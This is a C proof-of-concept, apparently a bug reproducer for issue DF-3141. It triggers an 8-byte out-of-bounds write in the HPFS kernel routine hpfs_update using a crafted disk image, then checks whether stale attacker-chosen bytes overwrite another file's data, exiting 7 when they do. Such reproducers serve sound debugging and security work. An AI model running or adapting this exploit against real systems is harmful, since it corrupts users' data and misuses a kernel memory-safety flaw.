/*
 * DF-3141 -- cross-file data corruption via the 8-byte OOB write in
 * hpfs_update (sys/vfs/hpfs/hpfs_subr.c:738, sizeof(struct fnode)=520 >
 * FNODESIZE=512).
 *
 * Image layout (see craft_img.py): file A's fnode at LSN 0x48
 * (page-aligned), file B's data sector is 0x49 -- the very sector whose
 * cached bytes sit at page+512, i.e. exactly where hpfs_update's 520-byte
 * bcopy overflows.
 *
 *  1. open A          -> hpfs_vget bread(512)+bcopy(520): h_fn tail
 *                        (bytes 512..519) = cached 0x49[0..8) = "XXXXXXXX"
 *  2. write B "YYYYYYYY" (same VM page, different buffer)
 *  3. ftruncate(A, 0) -> H_CHANGE|H_PARCHANGE set
 *  4. close A         -> hpfs_inactive -> hpfs_update ->
 *                        getblk(512); clrbuf; bcopy(h_fn, b_data, 520)
 *                        -> writes stale "XXXXXXXX" at page+512 = 0x49[0..8)
 *  5. read B back     -> "XXXXXXXX" instead of "YYYYYYYY"  == corruption
 *
 * exit 7 if corruption observed, 0 if not.
 */
#include <fcntl.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>

int
main(int argc, char **argv)
{
	const char *mp = argc > 1 ? argv[1] : "/tmp/hpfsmp";
	char path[512], buf[16];
	int afd, bfd, r, i;

	/*
	 * 0. touch B FIRST: bread(0x9200) pulls sector 0x49's crafted
	 *    content ("XXXXXXXX") into the VMIO page at page+512 -- so the
	 *    later vget(A) copies ATTACKER-CHOSEN bytes into h_fn[512..520),
	 *    which hpfs_update will then write out of bounds.
	 */
	snprintf(path, sizeof(path), "%s/B", mp);
	bfd = open(path, O_RDWR);
	if (bfd < 0) { perror("open B"); return 1; }
	memset(buf, 0, sizeof(buf));
	pread(bfd, buf, 8, 0);
	printf("B initial content : %.8s (crafted image bytes)\n", buf);

	snprintf(path, sizeof(path), "%s/A", mp);
	afd = open(path, O_RDWR);
	if (afd < 0) { perror("open A"); return 1; }
	printf("open A ok (vget copied page+512 into h_fn tail)\n");

	r = (int)pwrite(bfd, "YYYYYYYY", 8, 0);
	printf("pwrite B \"YYYYYYYY\" = %d\n", r);

	memset(buf, 0, sizeof(buf));
	pread(bfd, buf, 8, 0);
	printf("B reads back       : %.8s\n", buf);

	if (ftruncate(afd, 0)) { perror("ftruncate A"); return 1; }
	printf("ftruncate(A, 0) ok -> H_CHANGE\n");

	close(afd);
	printf("close A (namecache holds a ref -> inactive deferred)\n");
	printf("pressuring namecache to evict A's entry -> VOP_INACTIVE...\n");
	fflush(stdout);

	/* small retry loop: namecache pressure should reclaim A */
	for (i = 0; i < 30; i++) {
		if (system("find /usr /usr/obj -xdev >/dev/null 2>&1") != 0)
			; /* ignore */
		memset(buf, 0, sizeof(buf));
		pread(bfd, buf, 8, 0);
		printf("B (try %2d)        : %.8s%s\n", i, buf,
		       memcmp(buf, "YYYYYYYY", 8) ? "   <<<< CORRUPTED" : "");
		if (memcmp(buf, "YYYYYYYY", 8))
			return 7;
	}
	printf("B intact -- no corruption observed\n");
	close(bfd);
	return 0;
}
